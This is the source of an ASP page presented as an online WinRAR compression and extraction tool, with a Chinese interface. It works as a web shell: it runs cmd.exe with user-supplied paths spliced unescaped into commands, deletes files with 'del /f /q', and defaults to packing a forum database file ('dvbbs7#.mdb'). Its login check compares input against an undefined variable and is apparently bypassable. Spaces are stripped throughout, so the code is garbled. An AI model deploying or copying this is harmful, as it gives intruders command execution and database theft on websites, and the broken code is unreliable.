<html>
<head>
<metahttp-equiv="Content-Type"content="text/html;charset=gb2312"/>
<title>ASP在线解压缩</title>
</head>
<body>
<TABLE
border=0width=80%align=centercellspacing=1cellpadding=3
style="FONT-FAMILY:Verdana;font-size:14px;BORDER:#0000001px
solid;background-color:#f7f7f7">
<tr>
</tr>
<tr>
<tdbgcolor="#33CCFF">
<%
Server.ScriptTimeout=99999
Dimwinrar,cmddir
Winrar="C:\ProgramFiles\WinRAR\Winrar.exe"'压缩文件(Winrar)的地址
cmddir="%windir%\system32\cmd.exe"'cmd.exe(命令提示符)的地址
ifrequest.Form("user")=qdxwandrequest.Form("pwd")=qdxwthen
response.write"本文件夹路径:"&Server.Mappath(".")&"<br>"
from=request.Form("from")
where=request.Form("where")
iffrom<>""andwhere<>""then
Dima,b,Shell,Runing,Runcode,Cmd
ifinstr(where,":")=0thena=Server.mappath(""&where&"")elsea=where
ifinstr(from,":")=0thenb=Server.mappath(""&from&"")elseb=from
'response.Writeb
ifright(b,1)<>"\"andleft(right(b,4),1)<>"."thenb=b&".rar"
OnErrorResumeNext
SetShell=Server.CreateObject("WScript.Shell")
ifrequest.QueryString("action")=1then'解压缩
ifnotReportFileStatus(b)thenResponse.Write("没有找到"&b&"可能不存在!"):Response.End()
Runing=cmddir&"/c"""&winrar&"""x-ibck-t-y-o+-p"&pwd&""'设置运行解压缩的命令。
Cmd=Runing&b&""&a&"\"
elseifrequest.QueryString("action")=0then'压缩文件
if(notReportFileStatus(a))and(notReportFolderStatus(a))thenResponse.Write("没有找到"&a&"可能不存在!"):Response.End()
Cmd=cmddir&"/cdel/f/q"&b
Runcode=Shell.Run(Cmd,1,True)
Runing=cmddir&"/c"""&winrar&"""a-ibck-y-ep-o+-p"&pwd&""'压缩。
Cmd=Runing&b&""&a
else'删除文件
Cmd=cmddir&"/cdel/f/q"&b
endif
Runcode=Shell.Run(Cmd,1,True)
Runing=Shell.Run(cmddir&"/ctaskkill/imwinrar.exe",1,false)
Runing=Shell.Run(cmddir&"/cexit",1,false)
SetShell=nothing
ErrInfo
%>
<%else%>
<formname="frm"method="post"action="?action=1"style="BORDER:#d9d9d91pxsolid;background-color:#f7f7f7">
--------------------------------------<strong>解压缩文件</strong>---------------------------------------
<br>
<br>
请输入rar压缩文件地址:
<inputname="from"value="1.rar"size="50"><br>
解压到:<inputname="where"value="."size="50">
文件夹请使用绝对路径且在最后加"\"<br>
<br>
<input
name="submit"type="submit"value="解压"><inputtype="hidden"
name="user"value="<%=request.Form("user")%>">
<inputtype="hidden"name="pwd"value="<%=request.Form("pwd")%>">
</FORM>
<formname="frm"method="post"action="?action=0"style="BORDER:#d9d9d91pxsolid;background-color:#f7f7f7">
--------------------------------------<strong>压缩文件</strong>---------------------------------------<br>
<br>
请在此输入您要压缩文件地址:
<inputname="where"value="./data/dvbbs7#.mdb"size="50">
您也可以输入文件夹<br>
<br>
存放路径及新文件名:<inputname="from"value="../data/1.rar"size="50">
自动覆盖同名文件<br>
<br>
<input
name="submit"type="submit"value="压缩"><inputtype="hidden"
name="user"value="<%=request.Form("user")%>">
<inputtype="hidden"name="pwd"value="<%=request.Form("pwd")%>"></FORM>
<%
ErrInfo
endif
else
login()
endif
SubErrInfo
ifnotisempty(Runcode)andRuncode=0Then
Response.Write("操作成功执行,您提交的操作如下:<br>"&Cmd)
elseifnotisempty(Runcode)then
Response.Write("操作执行失败!可能您的权限不够或者该程序无法在DOS(命令提示符)下运行,您提交的操作如下:<br>"&Cmd)
else
endif
IfErrThen
Response.Write"<br>"&err.description
err.Clear
EndIf
%>
<formname="frm"method="post"action="?action=2"style="BORDER:#d9d9d91pxsolid;background-color:#f7f7f7">
--------------------------------------<strong>删除文件</strong>---------------------------------------<br>
<br>
请输入要删除文件地址:<inputname="from"size="50"value=<%=from%>>
文件夹请使用绝对路径且在最后加“\”<br>
<inputtype="hidden"name="where"value=<%ifwhere<>""thenresponse.Writewhereelseresponse.Write"."%>>
<br>
<inputname="submit"type="submit"value="删除">
<inputtype="hidden"name="user"value="<%=request.Form("user")%>">
<inputtype="hidden"name="pwd"value="<%=request.Form("pwd")%>">
</FORM>
<br>
<%
EndSub
FunctionReportFileStatus(filespec)
Dimfso
Setfso=CreateObject("Scripting.FileSystemObject")
ReportFileStatus=false
If(fso.FileExists(filespec))ThenReportFileStatus=true
Setfso=nothing
EndFunction
FunctionReportFolderStatus(fldr)
Dimfso
Setfso=CreateObject("Scripting.FileSystemObject")
ReportFolderStatus=false
If(fso.FolderExists(fldr))ThenReportFolderStatus=true
Setfso=nothing
EndFunction
Sublogin()
%>
<formname="frm"method="post"action="?action=2"style="BORDER:#d9d9d91pxsolid;background-color:#f7f7f7">
<p>--------------------------------------<strong>登陆系
统</strong>---------------------------------------<br>
<br>
用户名:
<inputname="user"value="test">
</p>
密码:
<inputname="pwd"type="password"id="pwd">
<br>
<br>
<inputname="submit"type="submit"value="登陆">
</FORM>
<%Endsub%>
</td>
</tr>
</table>
</body>
</html>
|